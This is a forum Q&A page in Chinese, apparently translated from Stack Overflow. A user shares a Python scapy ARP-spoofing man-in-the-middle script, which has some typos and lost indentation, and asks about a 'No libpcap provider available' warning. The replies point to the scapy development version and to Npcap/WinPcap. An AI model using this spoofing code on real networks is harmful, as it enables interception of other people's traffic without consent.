Python scapy - Error :No libpcap provider available



我正在使用scapy进行简单的MITM攻击脚本(当然我只将其用于教育目的),并且我得到了这个奇怪的错误,上面写着:警告:没有libpcap提供程序可用!pcap不会被使用. 我试着在网上查找这个错误,但没有人真正回答它。这个错误意味着什么?是否有可能,我只是没有正确使用脚本?如有任何帮助,不胜感激。

下面是我的脚本:
import scapy.all as scapy 

def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip) 
broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
finalpacket = broadcast/arp_request
answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc   
return(mac)  
def restore(destination_ip, source_ip):
target_mac = get_target_mac(destination_ip)
source_mac = get_target_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
scapy.sendp(packet, verbose=False)
def spoof_arp(target_ip, spoofed_ip):
mac = get_target_mac(target_ip)
packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
scapy.sendp(packet, verbose=False)
def main():
try:
while True:
spoof_arp('router_ip', 'fake_ip')#I hided the real ip
spoof_arp('fake_ip', 'router_ip')
except KeyboardInterrupt:
restore('router_ip', 'fake_ip')
restore('fake_ip', 'router_ip')
exit(0)

我认为user16139739给出一个可能的解决方案。我遇到了scapy的一些问题,这是其中之一,稳定版有一些已知的错误,这些错误在开发版本中得到了纠正。

我没有安装任何其他东西,在我的情况下,也许我已经使用了user16139739解决方案之前,但仍然得到这个错误在某些点和另一个与RawPcapReader,所以我使用开发版本。

libpcap是Unix的库,您需要一个替代(npcap)或windows兼容的对应(WinPcap)

我可以通过安装Nmap (windows 10的网络数据包处理库)来解决这个问题。

相关内容

最新更新